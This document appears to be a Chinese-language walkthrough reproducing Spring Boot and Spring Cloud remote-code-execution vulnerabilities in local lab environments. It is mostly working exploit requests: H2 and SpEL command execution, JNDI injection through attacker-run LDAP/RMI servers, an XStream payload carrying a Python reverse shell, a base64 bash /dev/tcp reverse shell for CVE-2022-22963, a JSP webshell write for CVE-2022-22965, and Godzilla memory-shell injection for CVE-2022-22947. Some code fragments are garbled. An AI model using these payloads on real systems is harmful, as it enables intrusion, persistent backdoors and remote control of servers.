Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Referer:
http://127.0.0.1:9096/h2-console/login.do?jsessionid=85a087335ef703becb8069a1509011b5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
要多次执行命令需要修改payload
在payload中的"T5"方法需要每次变更名称,才能被重新使用,否则下次restart重启应用漏洞不会被触发
修改payload执行DNSlog检测
POST
/actuator/env HTTP/1.1 {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE
ALIAS T2 AS CONCAT('void ex(String m1,String m2,String m3)throws
Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL
T2('cmd','/c','ping hhwkzbqvxd.dnstunnel.run');"}
Host: 127.0.0.1:9096
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Referer: http://127.0.0.1:9096/h2-console/login.do?jsessionid=85a087335ef703becb8069a1509011b5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
漏洞环境:springboot-jolokia-logback-rce
·目标网站存在 /jolokia 或 /actuator/jolokia 接口
·目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
·目标可以请求攻击者的服务器(请求可出外网)
·普通JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过
第一步
访问 /jolokia/list 接口,查看是否存在type=MBeanFactory 和 createJNDIRealm 关键词。
第二步
发送payload这里一共有五个步骤
1.创建 JNDIRealm
2.写入 connectionURL 为你的 RMI Service URL
3.写入 contextFactory 为 RegistryContextFactory
4.停止 Realm
5.启动 Realm 以触发 JNDI 注入
原文的利用方法是老版本,我本地环境是JDK8+所以复现失败。
后又找到了针对高版本的注入方式
工具地址:https://github.com/welk1n/JNDI-Injection-Exploit
python脚本:https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py
在python脚本中需要修改这两处的值
开启JNDI服务,这个工具存在多种版本的利用方式
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "192.168.8.143"
我这里选择:rmi://192.168.8.143:1099/d7bidi
第三步
使用python3 执行脚本
只需要修改对应的命令即可
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping zjzxfasklm.dnstunnel.run" -A "192.168.8.143"
漏洞环境:springboot-jolokia-logback-rce
·目标网站存在 /jolokia 或 /actuator/jolokia 接口
·目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
·目标可以请求攻击者的服务器(请求可出外网)
·普通JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过
第一步
访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词
第二步
假设恶意的JNDI服务
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.8.143
启动WEB服务并创建xml文件放在根目录
<configuration>
<insertFromJNDI
env-entry-name="ldap://192.168.8.143:1389/TomcatBypass/Command/Base64/Y2FsYw=="
as="appName" />
</configuration>
第三步
发送恶意数据包,需要修改的是http:!/!/vps!/xxx.xml
GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.8.143!/example.xml
HTTP/1.1
Host: 127.0.0.1:9094
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101
Firefox/105.0
这里的payload在JNDIExploit-1.4-SNAPSHOT选择
更改XML文件
<configuration>
<insertFromJNDI
env-entry-name="ldap://192.168.8.143:1389/TomcatBypass/Command/Base64/cGluZyB6anp4ZmFza2xtLmRuc3R1bm5lbC5ydW4="
as="appName" />
</configuration>
替换payload发送数据包
GET
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.8.143!/example.xml
HTTP/1.1
Host: 127.0.0.1:9094
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101
Firefox/105.0
漏洞环境:springboot-eureka-xstream-rce
·可以 POST 请求目标网站的 /env 接口设置属性
·可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
·目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
·目标可以请求攻击者的 HTTP 服务器(请求可出外网)
第一步
架设恶意XStream payload的网站
#!/usr/bin/env
python from flask import Flask, Response app = Flask(__name__) @app.route('/', defaults={'path': ''}) if __name__ == "__main__":
# coding: utf-8
# -**- Author: LandGrey -**-
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml =
"""<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value
class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource
class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is
class="javax.crypto.CipherInputStream">
<cipher
class="javax.crypto.NullCipher">
<serviceIterator
class="javax.imageio.spi.FilterIterator">
<iter
class="javax.imageio.spi.FilterIterator">
<iter
class="java.util.Collections$EmptyIterator"/>
<next
class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter
class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next
class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input
class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml,
mimetype='application/xml')
app.run(host='0.0.0.0', port=80)
第二步
设置eureka.client.serviceUrl.defaultZone属性
POST /env
HTTP/1.1 eureka.client.serviceUrl.defaultZone=http://192.168.8.143/example
Host: 127.0.0.1:9093
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101
Firefox/105.0
属性值(地址)会在脚本中列出开放的端口
第三步
发送数据包,这里使用的是Spring 1.x 所以入口文件为/env
POST /env
HTTP/1.1 eureka.client.serviceUrl.defaultZone=http://192.168.8.143/example
Host: 127.0.0.1:9093
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101
Firefox/105.0
重启应用就会自动去解析恶意的外部地址
我这里将脚本稍微改了一下来执行命令
<command>
<string>cmd</string>
<string>/C</string>
<string>calc</string>
</command>
修改脚本中xml的配置,然后重启python服务即可
<command>
<string>cmd</string>
<string>/C</string>
<string>ping
xkbzjhpkbb.dnstunnel.run</string>
</command>
目标机器会每隔几秒自动去解析依赖payload
漏洞环境:springcloud-snakeyaml-rce
·可以 POST 请求目标网站的 /env 接口设置属性
·可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
·目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
·目标可以请求攻击者的 HTTP 服务器(请求可出外网)
第一步
寻找有spring-boot-starter-actuator的依赖
第二步
开启WEB服务,将yam文件放在根目录,并将恶意的jar文件一并放在根目录。修改URL地址为jar文件
!!javax.script.ScriptEngineManager
[
!!java.net.URLClassLoader [[
!!java.net.URL
["http://192.168.8.143/example.jar"]
]]
]
java恶意文件制作
打包命令
·javac src/artsploit/AwesomeScriptEngineFactory.java //编译java文件
·jar -cvf yaml-payload.jar -C src/ . //打包成jar包
payload地址:https://github.com/artsploit/yaml-payload
第三步
设置spring.cloud.bootstrap.location属性,漏洞环境使用的Spring 1.x
POST /env
HTTP/1.1 spring.cloud.bootstrap.location=http://192.168.8.143/example.yml
Host: 127.0.0.1:9092
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
重启应用
POST /refresh
HTTP/1.1
Host: 127.0.0.1:9092
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101
Firefox/105.0
HTTP服务获取到访问记录
漏洞复现失败可能是因为本地java版本的原因
漏洞环境:springboot-spel-rce
·spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
·至少知道一个触发 springboot 默认错误页面的接口及参数名
第一步
在源码中写了一个传参点,假如这就是需要的传参处
@RequestMapping("/article")
public String hello(String id){
int total = 100;
String message =
String.format("You've read %s books, and there are %d left", id,
total - Integer.valueOf(id));
return message;
}
访问/article?id=123x,页面会状态码500
第二步
在传参点输入SpEL表达式
第三步
构造payload,将命令字符串格式转换成ASCII再转十六进制
# coding: utf-8 result = ""
target = 'calc'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
执行calc
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
修改payload
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x70,0x69,0x6e,0x67,0x20,0x69,0x65,0x6d,0x73,0x64,0x64,0x68,0x6a,0x77,0x6d,0x2e,0x64,0x6e,0x73,0x74,0x75,0x6e,0x6e,0x65,0x6c,0x2e,0x72,0x75,0x6e}))}
漏洞环境:vulhub/spring/CVE-2022-22947
Spring Cloud Gateway 3.1.0
Spring Cloud Gateway 3.0.0 - 3.0.6
使用docker搭建环境
第一步
访问actuator路由查看是否存在gateway路径
第二步
发送payload
{
"id": "hacktest",
"filters": [{
"name":
"AddResponseHeader",
"args": {
"name":
"Result",
"value": "#{new
String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new
String[]{\"id\"}).getInputStream()))}"
}
}],
"uri":
"http://example.com"
}
创建路由表
POST
/actuator/gateway/routes/hacktest HTTP/1.1 {
Host: 127.0.0.1:8080
Content-Type: application/json
"id": "hacktest",
"filters": [{
"name":
"AddResponseHeader",
"args": {
"name":
"Result",
"value": "#{new
String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new
String[]{\"id\"}).getInputStream()))}"
}
}],
"uri":
"http://example.com"
}
重启应用
POST
/actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
访问路由表
GET
/actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8080
删除路由表
DELETE /actuator/gateway/routes/hacktest
HTTP/1.1
Host: 127.0.0.1:8080
重启应用
POST
/actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
删除路由表之后再次访问
GMemShell内存马脚本
https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell/blob/main/GMemShell.java
我这里创建了一个springboot的项目然后将java编译class文件,使用maven compile
然后使用脚本进行base64加密
@Test
public void Test() throws IOException
{
String s =
org.springframework.util.Base64Utils.encodeToString(FileReaderUtils.readOnce("src/main/java/com/ms/GMemShell.class"));
System.out.println("---");
System.out.println(s);
System.out.println("---");
}
如果依赖有问题,可以导入一下pom.xml
<?xml
version="1.0" encoding="UTF-8"?> <dependency> <build> </project>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.4</version>
<relativePath/> <!--
lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>demo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>demo</name>
<description>Demo project for
Spring Boot</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-gateway-server</artifactId>
<version>3.0.6</version>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
<version>3.0.6</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
<version>2.5.9</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
</dependency>
</dependencies>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
发送请求的payload,需要修改的有'com.example.GMemShell'和decodeFromString('base64编码后的内存马粘贴到此处')注意复制payload的时候最后的换行去掉,我在这里卡了半天。还有gmem这两处要对应上
POST
/actuator/gateway/routes/hacktest HTTP/1.1 {
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 11039
"predicates":[{"name": "Path",
"args":{"_genkey_0":"/gmem/**"}
}
],
"id": "hacktest",
"filters": [{
"name":
"AddResponseHeader",
"args": {
"name":
"Result",
"value":
"#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('base64编码后的内存马粘贴到此处'),new
javax.management.loading.MLet(new
java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}"
}
}],
"uri":
"http://test.com"
}
刷新配置
POST
/actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 0
使用哥斯拉连接。
如果想设置其他密码可以在源码中设置,直接修改pass即可
漏洞环境:vulhub/spring/CVE-2022-22963
·3.0.0 <= Spring Cloud Function <= 3.2.2
访问服务并抓包,POST 请求functionRouter路由。在header中添加表达式
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("命令")
在docker中查看执行成功
制作反弹shellpayload
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}")
漏洞环境:vulnhub/spring/CVE-2022-22965
·Spring Framework 5.3.18+ 5.2.20+
·Apache Tomcat作为Servlet容器;
·使用JDK9及以上版本的Spring MVC框架;
·Spring框架以及衍生的框架spring-beans-*.jar文件或者存在;
漏洞检测
/?class.module.classLoader.defaultAssertionStatus=111
网上的利用链
class.module.classLoader.resources.context.parent.pipeline.first.pattern=构建文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=修改tomcat日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory=写入文件所在的网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.prefix=写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=文件日期格式(实际构造为空值即可)
GET方式
发送数据包请求
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=22965&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
HTTP/1.1
Host: 127.0.0.1:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: Idea-9cbcf82d=e4f41750-5798-445b-8a6d-aaab7d3ddca2;
_jspxcms=a03c2bb4873e46798f25693bcbf2964d
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101
Firefox/105.0
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
执行命令
http://localhost:8080/22965.jsp?pwd=j&cmd=id
注意,你需要在利用完成后将class.module.classLoader.resources.context.parent.pipeline.first.pattern清空,否则每次请求都会写入新的恶意代码在JSP Webshell中,导致这个文件变得很大。发送如下数据包将其设置为空:
GET
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
漏洞环境:https://github.com/XuCcc/VulEnv/tree/master/springboot/cve_2022_22978
·Spring Security 5.5.x < 5.5.7
·Spring Security 5.6.x < 5.6.4
环境搭建之后访问8080端口进入网站
看AuthConfig源码有一层身份认证
正常访问/admin会跳转到/login
使用%0a绕过权限认证
SpringBootExploit:
https://github.com/0x727/SpringBootExploit/releases/tag/1.3
JNDIExploit:这个版本是1.3
https://github.com/0x727/JNDIExploit
也可以下载JNDIExploit增强版
https://github.com/WhiteHSBG/JNDIExploit
开启监听
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 127.0.0.1
使用GUI工具连接,接着就可以使用利用链
检测环境
使用利用链
这里增强版和原版在注入内存马有点问题,使用原版可以连接
工具地址:https://github.com/whwlsfb/JDumpSpider
使用方法:
java -jar JDumpSpider-1.0-SNAPSHOT-full.jar heapdump
环境需要JDK11+
https://www.eclipse.org/mat/downloads.php